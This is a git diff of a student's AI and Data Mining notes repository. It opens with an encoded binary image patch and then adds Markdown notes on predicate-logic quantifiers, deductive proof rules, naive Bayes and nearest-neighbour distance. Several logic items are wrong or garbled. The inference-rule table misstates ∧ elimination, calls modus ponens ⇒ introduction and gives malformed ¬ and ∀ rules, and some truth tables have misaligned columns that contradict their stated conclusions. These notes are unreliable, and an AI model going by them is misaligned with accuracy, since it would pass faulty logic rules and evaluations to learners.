zv<5gB$Mo3Tpk~~#fk=RZr8)x4PM1%{|2}zToq|*L8lE+!@=V}M_xW0RnB-c`QEu}X z%OR4$#hU%L%I}+)jr5)QyEk?8en0Ce>2RfkYGc9^@!%0D9vP$f?q`l3DX))G>0Tb< zY(7^0Ktms!D91;ABTfGf%60_?iM7RH`GeHcEn^xg*O;8If8M^RQ*0NWOYWAWE!_#M z8Xf5G%57^0(ehS571-jJzEwIcBq`&ZyKrR;vGB^q{F5T?uoI%`q^{rCjJX85%l3CGeBGX zcDCyQOQ6Oz zb`obk9$b^#GV{J)Yf9d;s5azXN1e9QDeq}cRl^@gO+k*4#kCL}@7Z)rHYS4({U9-2 z`;5&ZLfI?Y{(?-gdYuBh)uTDn&4R@0|6k% z^N-Ngx~bfLL%e7!>DS)`eDRiX2aX)}%^mGEx~ykvUtrI3$hAAEuMDF*#H?{S#O%i1 z0g<)S6It4cxv`mE0i;cNrHq-lUnvztiVC+JaW&VBS{nlF_@>xe0$<}Zn{RI2(s*3^Q2dVbB=YW7gA=HEBwqc*{k zpI)hjHTr~zF0AJGyM9$Igr-^TF%fF#@5d-x&m@sq<7n&!S~6>3yd~Y5z^0Gh@92M; ztC{;2SCmRO%<8dlGJnUr8O$2`)CzgOA9u>MjKzwzxJ6Zr~Z@q%?mlOC$XASIfB8gO%$U`~WE?VDu2#K6^{Xz$~4P#r=np zv5789osoCcCp8Y!8i$Wq zF9c%1(#BqdYaD%4IxEt8LE6rvrwHwy&Fth=kWc&$CiN5pnZg&@e$`)I^PHbxc$TgO z4ATN%oC0u(<`sk1C{f!krq9hIc+9#)y{0_eDOYcoZHBfIhxCDlhg!!1`9Jb0ovG>s zITmV}pzi@%@ch>#e-9m>WQ7>E)Ry6Gt6jubZFJg+?jVaU?dG}%j zcUP}j+hzWVD6n`#UD?>R`stVji8%SV8upf5;Anwg$5dYAFT(_^JmL#OvLp$sN@Lb- zM-h^|ONtrgdr!cn<5ci?tgbzpuO-x#hTDoLF$0LFZ>xYA&S~GY^m%8&dTPU;kyR?u z1M_(3byELAUx!=a2|9*okhSta{WNI1%D&c3#ls@Aa55VA$W6~2V(Pj4l2E)Rr_-~4 zg@9XC&Mjc&7rB9wjf~^-9*donAEigq;zR;qzQf79 zSQ+-sa}}eH{V6h!svzdJ2kgsIgmmL8?K~`W-;msN3l>ITo4Se3orYum-HEoy?4}PN zvLzEF5_3w-lb&jC%pZGwpBNfSDo$dQkcpdnTtG!t^W?Efl(Owu*vd+r5m=B&{Ft~8Ga0FLuVLey|}>|R5QJaC8GbCdaOe7J#xV*WzwB0Y1V6Jka+_~7E@qd zA-kl0hyBlHP(BlM4uBhn+A1$wA-;@^Q?o=;W^rt(@z*eNllk-m6sPCj^@4{t zBK>;9vAoEGlw;$rM5Awi`um7`PLW48>)4$3ZOsisd!GZtt?m{Q9Ih=tX);8r{c^nL zQEr`aogFw{_3#pmhJ6p24OYaL;oG&4IIzNcbqR5OU2Q1K@E9U<=DWJdd}_9`?$v)E z{N^(s{+riDCoe>aukO|+a6R+sjNjim-d5?_8#fD0<3@Q_K@b1PQl0Vb(l!eQSyX$1 zT_;#8aRxz{gt~3vr?p?EXmv$$9Mnb?#Y}3GW{%u4gmmDx?N|g~zkyov<>~3(FNQ2c z=4K)4ES z-?&R|1MsgBs$D=v?^-JQ1B>#LLM1%ZzVF?OYo1@%(3Puu-COWz#OvWQUoET!!gqz@ z0Ts6KZ_awaui^_x4-kYK4t5m3LbGsZt8GV4{iNRg9kxs%>4lfzR$F~8jiT61c*>EW zT$xmv_?#Z^k!n2Asl+BGtO)pFDT1FN=~8x^LfY@w^ONl)?a8gso{6>A;^f+;_?0AZ z%JLhS4K6EPdKmpPiWr^n(NpTYH>)t(IIAHcqMUVT*6}H*?pM7<6ilp-+<`AH?CMHH z%)mQRy5nPKP14T(3XLW2v|_7I<5Pu8ZYx{# z%ISU3$=y=_e8Jszz!QDD*C+G!TV+W*!S31EhPT(MQ|g@s2c<5r{XA37;cD;HfVAfn zd0&aXTvSsG69=j})xb|2#os+6Pw$h%!K!O}B#*Vre`Ik&n5U8sI6+tL$NJeFR`tzR znq+rzO=^-L<>60D$r?_9W$9XH$IZ6==sCx_Z)=b3P~a;aXVsUC{TVv7R~-6Oz#DW+ zkLc53`~%UJ;<$)M(jl1PVS7rp*HM+3?%xYQJC{`)_Q>LJ&*>1PVuBJk(;>| zORJUL^W4@tG_@y+9_uC&Er3>{7o#QCHNvW}FCNeT(y?I~n)Sxgvj(dF8YMEMH}CR9 z9lSngAb%44c>Ini_99co1Yy34YbbrhCMc=YTnHKKjo|jpwFlRkFkzjlXe90aA-jl7 zA12`cDl2tev&g`Z1T}QyI+lc~&UmjKCFM)UA&O})KFgIn0aF>u6_Tshsw1lRU;!dg}+si!PC+n8+et&D` z^xMsG}$tjH{vhJp-&B;JP-c4EAPVahijq@x(AWsmJ@+*6A zrz^<;&#R1pT+H>qlm(=RzcEV5vJaZXYV7<8dz!JAD-3#LKtJY{o$^5JMLcq2{t70o zcHY3w`VS^=1uBjP?dN87ISP>Na z6H*ClxsoU?tUdmeZy1{Ua-(r$%e_l~g?sJC3ObpXdtcTW;o`WgC;BtuK>$_%(Xq{DdR(@?OvT$w>5Ie=fSxtvp+{At3Sz7Eq_249gFu(F$FKq5xZwR^W(BGy0 z6JYOc?HQ1BpUyfaJJN`XQR#7eQC%J$(+l^uUgaV6Ku}_OU?~e8x)IdlK2m6RZnf`e z<(^~Wb!Au>wQ)4v60F@6{cVkev@paDKxNl zemB6`{e>%3I?2E3`rF~*oV5A;VA%o7{e%zM^7iHy>9ZSk%~%1$bV1dRKc}EYXNpRh z#KqccOYuKbBypQX@wSir@sJp_e2+C_K}-qIrYx4sTK+m~gl-DhB&wn<8)j$Gj@Brv zt4~RpVg90G``6l3%QXOV9DdndH_sr%jNC;#o{zfi;yqW3on?iQX$HSN-EM4Jkmxe> zL_o5l`(uel44Vu|=*+E=98NqyU)SWP<$l@w>sxDY@%`#C_1TaB)P}~C3sl{=(jgNu zh5#!Dsjer6EOqxCWs|<1k%o_MwH*<$_LAgrA}}7QsJ^j?3I~3qouq`u?PGC zgjFwayi1BYD%yUkYuTGOCw`!>;Ph>O+xJbPWU<}*!&up01e=&DT7NS#-n_e)Sa~hV zs{dQ;^a-#j<2!JbI+O+fwW>Ndhf>VMheIrT>u6;TIROFVY=Jdi&r=+Zb2mF3vVQT4@oQ>|6A=+ zXER9^?!e4=-FDCA36Ewq7{J<^txW5N;y*EXtc!E+yVZj7g7xuHLwA6UX!ob{yi<_$qXi9i*H8jz3@^8*w zLH{^={ZG~mLD7Fwa{u>?H6-24bpuEowR+3hMD+TkH{qp$S@<&}pxgW8$cEkbcI+nd zOtg!E!#!52j!S){Ey=08ATf})5A`i_|Mp!~(r8ki=wf+IcXR0x<$>Zxg3?&WCyTfH z(&?#cgp>OT(8Z3W%De>1Oa3{7d;3&x3rlxh0+Xb)Uw_QE56I2n2}FM~dv0?Nq=oOs z&n-f@eGs>SAt_R=u7n1meC_w@b}WMogIQ@8`cR{ps|4)v9Pi_PwK2tz=0@L@$Sb?F z!VSGrh`MG&F?9a197|;bE9`!(l5d1(Wwq1N!aJm*Ydc-jj|F+Ux9ofKQ&Xr~A6h!@ zc2g&xR^KD|RdL>(>bxOd)tA3-@O{#c3gl$=1lz(5w67V>`WAZW z72GE#fqHgm<47Oq9ly5orFM?p%wH^lNBwip>Et%^i<;$nm+-t8aNiY26_b-k$3zu; zPB9L1h*1QTl_-GUI22Iu+fC5CD`1o1LNBybBbVL8CXdJ{Am7nVMu-(r+NX|k#{ALA z@6-80A2ktQo@qpUDi?{*=a8iH>;;piZtw12{3eBXJS~L@4KS}o1eiDc_>qIQ2wvl3 zrd@eFD^d}XRF)u;5{z21U8`7UY?2CAWIg!|Hc22srtWmyntSX#*~Pm)3)x5zNeX_@ zn=*zRVkCuZmy90RcbZIq`xjZ3wzZUO=Ofn7@n<2(Yeep9GOkXv-hozo7vL-}bb0V- zw&fQ`#}Hy!BzTUax_c$=gZnPWxfjvb!zGi2s;(Z5K1k8O8J{Bm7@xAfK29DmHg;Zp zXCF5R>W(rNxIpZDP&s*2xMCkvojFKY2$h7*fk2?f1K2!({sTZB!1w{ofdZ%m1o}OI z^8@@#>VJwo|4)hgL(cvIJRZP~omU+a=UKO4%SyR=27x>bCa`icYn~Q@8s+aKwT)kDsm{zTmVA|%p0W;@ZU{9NkEJN8qR(Y z07^B8R{>({Y~#+(jHV#2bPf^q3{rYXK(I#v12 zb+7}Jm5?_I)$3>VSH6%36^MtXzZt!=gfh|9P+(lx`{s(6((u>2WQvg`yCK7JO0Nnp^LgGCJD_r%s0Oq;hY$Ta9NEzWB-^*cwY zwlXeO$?hur3wG}0@3OM(RLd?k97^H19HoOs>N`e5NN(n7teagxMs3B;=5s6bbOFy) z?YP~7D?%%bP{QQPvb86K8CfIG>TPy9TYr7*k&-Vz`}Fu{)G}G(=+5O!vLTdO^mA>H(88`shbtfb-<~Vm8&%HGtZ>E_In8p71}lk(*E9z5&GR}Q(*feY?cDrfF5F6# zYW9xL_?oIbAfc=d9ot4Z42YB?SFcU` zY%}53Zd=$!8-%6nC0OWM-Xzq}RVI~=y|h)bS^O6OV{q;d3PNl3(`v>(VP&*)RdF{& zJ8Zk@RC@t$AE>Zgnb^N;y2>VU^67}QQ?hB5w?PzgKRv#Q6;|}5_~1fj{!_LjsIPLU z-WfZteD`9hQ3U*~!SFK7sDE?Y>yRerwZ!Kn{}0UqpRJb)H;n%_;n}rz&&Z$v6sAR1ysL z6-&8=#qZKG)$V&ecW#Oncyt>4=qNT%K0`AOLwq-B$d^fXlu)-j81H7|QI#i@CzsSN zmhv~SQ$x78xtMB^iubz%x=Q{To7*7t4~?dp_70XK;~?e69PdhAj)9R0`v9{fA}mcF zyQu{Ihc3tJ4w~xAI_$%$d=GT@N^Ga=N>fCC;HvzcC(-3?%Kcv8`x4x~x|v~~Vj<$s zITx9a#LA+F(TjHrrSqFiiE9(J>ADm(V$44Kn0;;{BGx-f>2~H7~NkiMhf4%pe_H#F~qB$M%wfB7Wb;8l>tcpT~I?CL7xn9;^6<>?j0~VtQ|M5^HjkhmEXMg5WBMRG>YqmT^HsKYul=+ tmFlxnEC$Q9?F4DlNW%92yXU=qY+ybCFo**_zkr~CDE^BVirPx}{{=$ZO_2Zq literal 0 HcmV?d00001 diff --git a/AI & Data Mining/Week 24/Week 24 - Predicate Logic.md b/AI & Data Mining/Week 24/Week 24 - Predicate Logic.md new file mode 100644 index 0000000..e69de29 diff --git a/AI & Data Mining/Week 25/Chapter 25 - Predicate Logic Quantifiers.md b/AI & Data Mining/Week 25/Chapter 25 - Predicate Logic Quantifiers.md new file mode 100644 index 0000000..bdcc5de --- /dev/null +++ b/AI & Data Mining/Week 25/Chapter 25 - Predicate Logic Quantifiers.md @@ -0,0 +1,18 @@ +1. Just the following propositions hold true: + 1. male(Ahmed) male(Patel) male(Scott) tall(Ahmed) tall(Patel) short(Khan) short(Scott) + Evaluate the truth of the following formula + +| x | tall(x) | male(x) | short(x) | $\lnot$short(x) | male(x) $\land \lnot$short(x) | tall(x) $\iff$ male(x) $\land \lnot$short(x) | $\forall x \bullet$tall(x) $\iff$ male(x) $\land \lnot$short(x) | +| --- | ------- | ------- | -------- | --------------- | ----------------------------- | -------------------------------------------- | --------------------------------------------------------------- | +| Ah | T | T | F | T | T | T | | +| Kh | F | F | T | F | F | T | | +| Pa | T | T | F | T | T | T | | +| Sc | F | T | T | F | F | T | | +| | | | | | | | T | +2. Using appropriate binary predicates, express each of the following sentences in predicate logic + a) Salford stores only supply stores outside of Salford. + - $\forall x \bullet \forall y \bullet \textsf{in(x, Salford)} \land \textsf{supples}$ + b) No store supplies itself + c) There are no stores in Eccles but there are some in Trafford. + d) Stores do not supply stores that are supplied by stores which they supply + e) Stores which supply each other are always in the same place \ No newline at end of file diff --git a/AI & Data Mining/Week 25/Week 25 - Predicate Logic Quantifiers.md b/AI & Data Mining/Week 25/Week 25 - Predicate Logic Quantifiers.md new file mode 100644 index 0000000..279ccbe --- /dev/null +++ b/AI & Data Mining/Week 25/Week 25 - Predicate Logic Quantifiers.md @@ -0,0 +1,171 @@ +**Slide 1: Learning Objectives** + +- Understand when the order of quantifiers is important. +- Understand how ∀ and ∃ are connected. +- Use and remember scoping rules. +- Identify bound and free variables in formulae. +- Establish the truth of formulae in predicate logic. +- Understand why predicate logic is described as undecidable. +- Understand the difference between zero-order, first-order, and higher-order predicate logics. + +**Slide 2: Objectives & Recap** + +- Quantifiers and their alternative view. +- Distributive laws of quantifiers. +- De Morgan's laws with quantifiers. +- Scope of quantifiers. +- Bound and free variables. + +**Slide 3: The Universal Quantifier (∀)** + +- Pronounced as "for all". +- Example: ∀x (human(x) ⇒ mortal(x)) = All humans are mortal. +- In terms of conjunction: ∀x p(x) ≡ p(x₁) ∧ p(x₂) ∧... ∧ p(xₙ) + +**Slide 4: The Existential Quantifier (∃)** + +- Pronounced as "there exists" or "for some". +- Example: ∃x (human(x) ∧ happy(x)) = Some humans are happy. +- In terms of disjunction: ∃x p(x) ≡ p(x₁) ∨ p(x₂) ∨... ∨ p(xₙ) + +**Slide 5: Distributive Laws of Quantifiers** + +- ∀x (p(x) ∧ q(x)) ≡ (∀x p(x)) ∧ (∀x q(x)) +- ∃x (p(x) ∨ q(x)) ≡ (∃x p(x)) ∨ (∃x q(x)) + +**Slide 6: The Order of Quantification** + +- Example 1 (Everyone loves someone): ∀x ∃y loves(x, y) +- Example 2 (There is someone loved by everyone): ∃y ∀x loves(x, y) + +**Slide 7: De Morgan's Laws and Quantifiers** + +- ¬∃x p(x) ≡ ∀x ¬p(x) +- ¬∀x p(x) ≡ ∃x ¬p(x) + +**Slide 8: Scope of Quantifiers** + +- In absence of brackets, scope extends to the end of the formula. +- Brackets can enforce different scoping patterns. + +**Slide 9: Bound and Free Variables** + +- Bound variable: occurrence introduced by a quantifier within its scope. + - Example: + ``` + Formula Variable status + child(x) Only one occurrence of x, free. + ∀x child(x) ∧ clever(x) Both occurrences of x are bound by the same quantifier. + ((∀x child(x)) ∧ clever(x)) The first occurrence of x is bound, the second is free. + ``` +- Free variable: occurrence not within any quantifier's scope. + +**Slide 10: Meaning of Bound Variables** + +- The meaning of a bound variable does not depend on its name. + - Example: + ``` + ∀x (child(x) ∧ clever(x)) ⇒ ∃y loves(y, x) + ∀B (child(B) ∧ clever(B)) ⇒ ∃C loves(C, B) + ``` + +**Slide 11: Meaning of Free Variables** + +- Free variables denote unknowns or unspecified objects. + - Example: + ``` + ∀x (child(x) ∧ clever(x)) ⇒ x is loved. + ∀x (child(x) ∧ clever(x)) ⇒ z is loved. + ``` + +**Slide 12: Exercise** + +- Identify bound and free variables in the formula: + ``` + ∃x taller(y, x) ∃x ∃y taller(x, y) ∧ taller(x, z) + ``` +- Solution: + - In the first formula: x is bound, y is free. + - In the second formula: y is bound by ∃y, z is free. Both occurrences of x are bound and refer to the same variable. + +**Slide 13: The Equality Symbol (=)** + +- ⊢ Richard has at least two brothers: + ``` + ∃x ∃y (brother(x, richard) ∧ brother(y, richard) ∧ ¬(x = y)) + ``` +- Definition of sibling using parent: + ``` + ∀x ∀y sibling(x, y) ≡ (¬(x = y) ∧ ∃m ∃f ¬(m = f) ∧ parent(m, x) ∧ parent(f, x) ∧ parent(m, y) ∧ parent(f, y)) + ``` + +**Slide 14: Establishing the Truth Values of Formulae** + +- Example (slide 21 and 22): + - Individuals: Ahmed, Khan, Patel, Scott. + - Properties: male, tall, short. + - Formula: ∀x (male(x) ⇒ tall(x) ∨ short(x)) + - Truth table shows the formula is false (Patel is male but not tall or short). + +**Slide 15: Exercise** + +- Given individuals, properties, and true propositions as in slide 23. +- Evaluate the truth of: ∀x ¬male(x) ⇒ short(x) +- Solution (slide 24): + ``` + x male(x) ¬male(x) short(x) ¬male(x) ⇒ short(x) + Ahmed T F F F T + Khan F T T T T + Patel T F F F T + Scott T F T F F + ``` +- The formula is false (Patel is male but not short). + +**Slide 16: Example Involving ∃** + +- Given individuals, properties, and true propositions as in slide 25. +- Formula: ∃x (male(x) ∧ ¬tall(x) ⇒ short(x)) +- Truth table (slide 26): + ``` + x male(x) ¬tall(x) short(x) ¬tall(x) ⇒ short(x) male(x) ∧ ¬tall(x) ⇒ short(x) + Ahmed T F F F T T + Khan F F T F F F + Patel T F F F F F + Scott T T T F T F + ``` +- The formula is true (Scott is male, not tall but short). + +**Slide 17: Exercise** + +- Given individuals, properties, and true propositions as in slide 27. +- Evaluate the truth of: ∃x (male(x) ∧ (tall(x) ∨ ¬short(x))) +- Solution (slide 28): + ``` + x male(x) tall(x) short(x) ¬short(x) tall(x) ∨ ¬short(x) male(x) ∧ (tall(x) ∨ ¬short(x)) + Ahmed T T F T T T T + Khan F F T F F F F + Patel T T F F T T F + Scott T F T F F F F + ``` +- The formula is true (Ahmed and Patel are males, tall or not short). + +**Slide 29: Predicate Logic is Undecidable** + +- Universal quantification introduces computational impossibility when testing truth values with an infinite number of possible values. + +**Slide 30: First-order Predicate Logic** + +- Quantifiers refer only to objects (constants), not predicate or function names. +- Propositional logic is zero-order logic. + +**Slide 31: Summary** + +- Order of quantifiers matters when both ∀ and ∃ are present. +- Quantifiers are connected through negation, obey De Morgan's laws. +- Scope of quantifiers extends to the end of the formula without brackets. +- Bound variables are introduced by a quantifier within its scope; free variables are not within any quantifier's scope. + +**Slide 32: Reading, References and Acknowledgements** + +- Reading from Artificial Intelligence textbook by Russell and Norvig. +- References: Introductory Logic and Sets for Computer Scientists by Nissanke. \ No newline at end of file diff --git a/AI & Data Mining/Week 26 - Deductive Proofs.md b/AI & Data Mining/Week 26 - Deductive Proofs.md new file mode 100644 index 0000000..678c127 --- /dev/null +++ b/AI & Data Mining/Week 26 - Deductive Proofs.md @@ -0,0 +1,159 @@ +### **Slide Notes:** + +--- + +#### **Slide 0: Learning Objectives** +- Identify genuine variables and variables standing for unknowns. +- Describe the role of inference rules for eliminating and introducing quantifiers. +- Justify constraints on handling variables when eliminating and introducing quantifiers. +- Conduct proofs in predicate logic. +- Prove the validity of an argument presented in English. + +--- + +#### **Slide 1: Contents** +- Recap on inference rules +- Deductive proof in predicate logic +- Genuine variables versus unknown variables +- Extra inference rules for predicate logic +- Constraints on variables +- Summary, reading and references + +--- + +#### **Slide 2: Recap on Inference Rules** +| **Connective** | **Introduction Rule** | **Elimination Rule** | +| ------------------ | --------------------------------------------------------------------- | ------------------------------------------------------------ | +| ∧ (and) | ∧ Intro:$p, q \vdash p \land q$ | ∧ Elim:$p \land q, p \vdash q$ | +| ∨ (or) | ∨ Intro:$p \vdash p \lor q$,$q \vdash p \lor q$ | ∨ Elim:$p \vdash \varnothing$,$p \lor q \vdash \varnothing$x | +| ¬ (not) | N/A | ¬ Elim:$\neg p, q \vdash p$ | +| ⇒ (implies) | ⇒ Intro:$p, p \Rightarrow q \vdash q$ | ⇒ Elim (Modus Ponens):$p \Rightarrow q, p \vdash q$ | +| ⇔ (if and only if) | ⇔ Intro:$p \Rightarrow q, q \Rightarrow p \vdash p \leftrightarrow q$ | ⇔ Elim:$p \leftrightarrow q, p, q \vdash \varnothing$ | + +--- + +#### **Slide 3: Deductive Proof in Predicate Logic** +1. Reduce formulae to propositional form by removing quantifiers. +2. Manipulate formulae using inference rules and logical laws of propositional logic. +3. Reintroduce quantifiers at the end, depending on the goal. + +--- + +#### **Slide 4: Genuine Variables vs. Unknown Variables** +- **Genuine variable**: + - A free variable whose universal quantification yields a true formula. +- **Unknown variable**: + - A free variable whose existential quantification yields a true formula. + +--- + +#### **Slide 5: Exercise** +**Example**: +-$\frac{9}{z} = 3$ +-$\text{even}(n) \lor \text{odd}(n)$ + +| **Variable** | **Status** | **Justification** | +|--------------|-------------------------|-----------------------------------| +|$z$ | Unknown variable |$\exists z \cdot \frac{9}{z} = 3$| +|$n$ | Genuine variable |$\forall n \cdot (\text{even}(n) \lor \text{odd}(n))$| + +--- + +#### **Slide 6: Extra Inference Rules for Predicate Logic** +| **Quantifier** | **Introduction Rule** | **Elimination Rule** | +|-----------------|----------------------------------------|---------------------------------------------------| +|$\forall$(for all) |$\forall \text{Intro}: \varphi(x), x \neq y \vdash \varphi(x)$|$\forall \text{Elim}: \forall x \cdot \varphi(x), \varphi(x) \vdash \varnothing$| +|$\exists$(there exists) |$\exists \text{Intro}: \varphi(x), x \neq y \vdash \exists x \cdot \varphi(x)$|$\exists \text{Elim}: \exists x \cdot \varphi(x), \varphi(x) \vdash \varnothing$| + +--- + +#### **Slide 7: Freeing Variables from$\forall$** +- Example: + -$\forall x \cdot \text{lecturer}(x), \text{lecturer}(bryant)$ + -$\forall x \cdot \text{lecturer}(x), \text{lecturer}(y)$ + -$y$is a genuine variable. + +--- + +#### **Slide 8: Freeing Variables from$\exists$** +- Example: + -$\exists x \cdot \text{student}(x), \text{student}(y)$ + -$y$is an unknown variable. + +--- + +#### **Slide 9: Introduction of$\forall$** +- Constraint: + - Do not introduce$\forall$on the basis of an individual (a constant). + +--- + +#### **Slide 10: Constraint 1** +- When eliminating$\exists$, do not instantiate its variable with a constant. + +--- + +#### **Slide 11: Constraint 2** +- When eliminating$\exists$, do not instantiate its variable with an existing free variable. + +--- + +#### **Slide 12: Constraint 3** +- Do not introduce$\forall$on the basis of an individual (a constant). + +--- + +#### **Slide 13: Constraint 4** +- Do not introduce$\forall$on the basis of an unknown. + +--- + +#### **Slide 14: Constraint 5** +- Do not quantify a variable by introducing$\forall$in a formula if the formula contains another var obtained by eliminating$\exists$. + +--- + +#### **Slide 15: Constraint 6** +- Within the scope of an assumption, do not introduce$\forall$on the basis of a variable appearing in the assumption. + +--- + +#### **Slide 16: Constraint 7** +- Every instantiation, whether following the elimination of a$\forall$or$\exists$, must always be done with a free var, rather than a bound var. + +--- + +#### **Slide 17: Constraint 8** +- Beware of binding any newly quantified var by an unintended quantifier. + +--- + +#### **Slide 18: Summary** +- Use inference rules to eliminate and introduce logical connectives. +- Handle quantifiers carefully, following constraints when eliminating and introducing them. + +--- + +#### **Slide 19: Summary of Constraints** +1. Do not assume a property holds for a particular individual based on it holding for at least one individual. +2. When eliminating$\exists$, do not instantiate its var with a constant or existing free var. +3. Do not introduce$\forall$on the basis of a constant or unknown. +4. Do not quantify a variable by introducing$\forall$if the formula contains another var from$\exists$elimination. +5. Within an assumption, do not introduce$\forall$based on a var in the assumption. +6. Instantiate variables only with free vars, not bound vars. +7. Avoid binding newly quantified vars by unintended quantifiers. + +--- + +#### **Slide 20: Deducing a Conclusion** +Example: +1.$\forall x \cdot (\text{master}(x) \lor \text{slave}(x)) \Rightarrow \text{adult}(x) \land \text{man}(x)$ +2.$\neg \forall x \cdot (\text{adult}(x) \land \text{man}(x))$ +3.$\exists x \cdot (\neg (\text{adult}(x) \land \text{man}(x)))$ +4.$\neg (\text{master}(x) \lor \text{slave}(x))$ +5.$\neg \text{master}(x) \land \neg \text{slave}(x)$ +6.$\neg \text{master}(x)$ +7.$\exists y \cdot (\neg \text{master}(y))$ + +--- + diff --git a/AI & Data Mining/Week 3/Lecture 5 - Naive Bayes.md b/AI & Data Mining/Week 3/Lecture 5 - Naive Bayes.md index d529a15..74cba18 100755 --- a/AI & Data Mining/Week 3/Lecture 5 - Naive Bayes.md +++ b/AI & Data Mining/Week 3/Lecture 5 - Naive Bayes.md @@ -55,13 +55,17 @@ # Modified Probability Estimates - Consider attribute *outlook* for class *yes* + # $\frac{2+\frac{1}{3}\mu}{9+\mu}$ + Sunny # $\frac{4+\frac{1}{3}\mu}{9+\mu}$ + Overcast # $\frac{3+\frac{1}{3}\mu}{9+\mu}$ + Rainy - Each value treated the same way @@ -73,13 +77,16 @@ Rainy ## Fully Bayesian Formulation # $\frac{2+\frac{1}{3}\mu p_1}{9+\mu}$ + Sunny # $\frac{4+\frac{1}{3}\mu p_2}{9+\mu}$ + Overcast # $\frac{3+\frac{1}{3}\mu p_3}{9+\mu}$ + Rainy -- Where $p_1 + p_2 + p_3 = 1$ -- $p_1, p_2, p_3$ are prior probabilities of outlook being sunny, overcast or rainy before seeing the training set. However, in practice it is not clear how these prior probabilities should be assigned. \ No newline at end of file +- Where $p_1 + p_2 + p_3 = 1$ +- $p_1, p_2, p_3$ are prior probabilities of outlook being sunny, overcast or rainy before seeing the training set. However, in practice it is not clear how these prior probabilities should be assigned. diff --git a/AI & Data Mining/Week 3/Tutorial 3.md b/AI & Data Mining/Week 3/Tutorial 3.md index 60aefa2..f264095 100755 --- a/AI & Data Mining/Week 3/Tutorial 3.md +++ b/AI & Data Mining/Week 3/Tutorial 3.md @@ -27,20 +27,25 @@ | High | 2/5 | 1/9 | Red | 3/5 | 2/9 | | | | | | | | | # Problem 1 + # $Pr[Diagnosis=N|E] = \frac{2}{5} \times \frac{2}{5} \times \frac{4}{5} \times \frac{3}{5} \times \frac{5}{14} = 0.027428571$ + # $Pr[Diagnosis = B|E] = \frac{3}{9} \times \frac{4}{9} \times \frac{3}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.010582011$ # $p(B) = \frac{0.0106}{0.0106+0.0274} = 0.2789$ -# $p(N) = \frac{0.0274}{0.0106+0.0274} = 0.7211$ +# $p(N) = \frac{0.0274}{0.0106+0.0274} = 0.7211$ Diagnosis N is much more likely than Diagnosis B # Problem 2 # $Pr[Diagnosis = N|E] = \frac{2}{5} \times \frac{1}{5} \times \frac{3}{5} \times \frac{5}{14} = 0.0171$ + # $Pr[Diagnosis = B|E] = \frac{3}{9} \times \frac{6}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.0476$ + # $p(N) = \frac{0.0171}{0.0171+0.0476} = 0.2643$ + # $p(B) = \frac{0.0474}{0.0476+0.0171} = 0.7357$ Diagnosis B is much more likely than Diagnosis N @@ -48,4 +53,5 @@ Diagnosis B is much more likely than Diagnosis N # Problem 3 # $Pr[Diagnosis = N|E] = \frac{0}{5} \times \frac{2}{5} \times \frac{4}{5} \times \frac{3}{5} \times \frac{5}{14} = 0$ + # $Pr[Diagnosis = B|E] = \frac{5}{9} \times \frac{4}{9} \times \frac{3}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.018$ diff --git a/AI & Data Mining/Week 3/Workshop 3.md b/AI & Data Mining/Week 3/Workshop 3.md index 7843bcb..d0fffb1 100755 --- a/AI & Data Mining/Week 3/Workshop 3.md +++ b/AI & Data Mining/Week 3/Workshop 3.md @@ -274,4 +274,4 @@ Root mean squared error 0.3223 Relative absolute error 70.1487 % Root relative squared error 68.0965 % Total Number of Instances 3 -``` \ No newline at end of file +``` diff --git a/AI & Data Mining/Week 4/Lecture 7 - Nearest Neighbor.md b/AI & Data Mining/Week 4/Lecture 7 - Nearest Neighbor.md index bc35ef8..5bd8b24 100755 --- a/AI & Data Mining/Week 4/Lecture 7 - Nearest Neighbor.md +++ b/AI & Data Mining/Week 4/Lecture 7 - Nearest Neighbor.md @@ -12,6 +12,7 @@ # $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$ Where: + - $a_i$ is normalised value for attribute $i$ - $v_i$ is the current value for attribute $i$ - $maxv_i$ is largest value of attribute $i$ @@ -19,8 +20,10 @@ Where: ## Example - # $maxv_{humidity} = 96$ +# $maxv_{humidity} = 96$ + # $minv_{humidity} = 65$ + # $v_{humidity} = 80.5$ # $a_i = \frac{80.5-65}{96-55} = \frac{15.5}{31} = 0.5$ @@ -28,8 +31,11 @@ Where: ## Example (Transport Dataset) # $maxv_{doors} = 5$ + # $minv_{doors} = 2$ + # $v_{doors} = 3$ + # $a_i = \frac{3-2}{5-2} = \frac{1}{3}$ # Nearest Neighbor Applied (Transport Dataset) @@ -39,14 +45,18 @@ Where: - Right most column shows euclidean distances between each vehicle and new vehicle - New vehicle is closest to the 1st example, a taxi, NN predicts taxi ![](Pasted%20image%2020241010133818.png) + # $vmin_{doors} = 2$ + # $vmax_{doors} = 5$ + # $vmin_{seats} = 7$ + # $vmax_{seats} = 65$ # Missing Values -## Missing Nominal Values +## Missing Nominal Values - Assume missing feature is maximally different from any other value - Distance is: @@ -72,7 +82,7 @@ Where: - Number of seats of one example = 16 - Normalised = 9/58 - One missing -- 1 - 9/58 = 49/58 +- 1 - 9/58 = 49/58 ## Normalised Transport Data with Missing Values @@ -85,13 +95,13 @@ Where: ## Euclidean Distance -# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + ... + (a_n-a_n')^2}$ +# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + … + (a_n-a_n')^2}$ Where $a$ and $a'$ are two examples with $n$ attributes and $a'$ is the value of attribute $i$ for $a$ ## Manhattan Distance -# $|a_1-a_1'|+|a_2-a_2'|+...+|a_n-a_n'|$ +# $|a_1-a_1'|+|a_2-a_2'|+…+|a_n-a_n'|$ Vertical bar means absolute value Negative becomes positive @@ -109,4 +119,3 @@ Euclidean distance is generally a good compromise - Does not detect noise - Use k-NN, get k closest examples and take majority vote on solutions ![](Pasted%20image%2020241011131542.png) - diff --git a/AI & Data Mining/Week 4/Tutorial 4 - Nearest Neighbor.md b/AI & Data Mining/Week 4/Tutorial 4 - Nearest Neighbor.md index 26142f1..136ed63 100755 --- a/AI & Data Mining/Week 4/Tutorial 4 - Nearest Neighbor.md +++ b/AI & Data Mining/Week 4/Tutorial 4 - Nearest Neighbor.md @@ -1,18 +1,21 @@ - ![](Pasted%20image%2020241011131844.png) ## Normalisation Equation -# $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$ -## Euclidean Distance Equation -# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + ... + (a_n-a_n')^2}$ +# $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$ + +## Euclidean Distance 